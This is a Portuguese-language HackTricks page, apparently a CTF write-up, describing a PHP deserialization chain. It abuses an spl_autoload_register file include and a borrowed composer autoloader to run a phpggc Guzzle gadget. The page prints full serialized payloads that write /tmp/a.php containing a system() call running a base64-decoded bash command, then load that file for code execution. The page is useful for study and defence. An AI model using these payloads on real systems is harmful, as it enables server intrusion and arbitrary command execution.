9.1 KiB
PHP - Desserialização + Classes de Autocarregamento
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.
Primeiro, você deve verificar o que são Classes de Autocarregamento.
Desserialização PHP + spl_autoload_register + LFI/Gadget
Estamos em uma situação em que encontramos uma desserialização PHP em um aplicativo da web sem nenhuma biblioteca vulnerável a gadgets dentro do phpggc
. No entanto, no mesmo contêiner, havia um outro aplicativo da web do composer com bibliotecas vulneráveis. Portanto, o objetivo era carregar o carregador do composer do outro aplicativo da web e abusá-lo para carregar um gadget que irá explorar essa biblioteca com um gadget do aplicativo da web vulnerável à desserialização.
Passos:
- Você encontrou uma desserialização e não há nenhum gadget no código do aplicativo atual
- Você pode abusar de uma função
spl_autoload_register
como a seguinte para carregar qualquer arquivo local com extensão.php
- Para isso, você usa uma desserialização em que o nome da classe estará dentro de
$name
. Você não pode usar "/" ou "." em um nome de classe em um objeto serializado, mas o código está substituindo os sublinhados ("_") por barras ("/"). Portanto, um nome de classe comotmp_passwd
será transformado em/tmp/passwd.php
e o código tentará carregá-lo.
Um exemplo de gadget será:O:10:"tmp_passwd":0:{}
- Para isso, você usa uma desserialização em que o nome da classe estará dentro de
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
{% hint style="success" %}
Se você tem um upload de arquivo e pode fazer upload de um arquivo com extensão .php
, você pode abusar dessa funcionalidade diretamente e já obter RCE.
{% endhint %}
No meu caso, eu não tinha nada assim, mas havia dentro do mesmo container outra página da web do composer com uma biblioteca vulnerável a um gadget phpggc
.
- Para carregar essa outra biblioteca, primeiro você precisa carregar o carregador do composer daquela outra página da web (porque o da aplicação atual não acessará as bibliotecas da outra). Sabendo o caminho da aplicação, você pode fazer isso muito facilmente com:
O:28:"www_frontend_vendor_autoload":0:{}
(No meu caso, o carregador do composer estava em/www/frontend/vendor/autoload.php
) - Agora, você pode carregar o carregador do composer das outras aplicações, então é hora de
gerar o payload phpggc
para usar. No meu caso, useiGuzzle/FW1
, o que me permitiu escrever qualquer arquivo no sistema de arquivos.- NOTA: O gadget gerado não estava funcionando, para que funcionasse, eu modifiquei aquele payload
chain.php
do phpggc e defini todos os atributos das classes de privado para público. Caso contrário, após desserializar a string, os atributos dos objetos criados não tinham nenhum valor.
- NOTA: O gadget gerado não estava funcionando, para que funcionasse, eu modifiquei aquele payload
- Agora temos o caminho para carregar o carregador do composer das outras aplicações e temos um payload phpggc que funciona, mas precisamos fazer isso na MESMA REQUISIÇÃO para que o carregador seja carregado quando o gadget for usado. Para isso, enviei um array serializado com ambos os objetos como:
- Você pode ver primeiro o carregador sendo carregado e depois o payload
{% code overflow="wrap" %}
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
{% endcode %}
- Agora, podemos criar e escrever um arquivo, no entanto, o usuário não pode escrever em qualquer pasta dentro do servidor web. Então, como você pode ver na carga útil, o PHP chamando
system
com algum base64 é criado em/tmp/a.php
. Então, podemos reutilizar o primeiro tipo de carga útil que usamos como LFI para carregar o carregador do composer do outro aplicativo da web para carregar o arquivo/tmp/a.php
gerado. Basta adicioná-lo ao gadget de desserialização:
{% code overflow="wrap" %}
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}
Resumo do payload
- Carregar o autoload do composer de um aplicativo da web diferente no mesmo contêiner
- Carregar um gadget phpggc para abusar de uma biblioteca do outro aplicativo da web (o aplicativo da web inicial vulnerável à desserialização não tinha nenhum gadget em suas bibliotecas)
- O gadget irá criar um arquivo com um payload PHP nele em /tmp/a.php com comandos maliciosos (o usuário do aplicativo da web não pode escrever em nenhuma pasta de nenhum aplicativo da web)
- A parte final do nosso payload irá carregar o arquivo php gerado que executará comandos
Eu precisei chamar essa desserialização duas vezes. Nos meus testes, na primeira vez o arquivo /tmp/a.php
foi criado, mas não carregado, e na segunda vez ele foi carregado corretamente.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.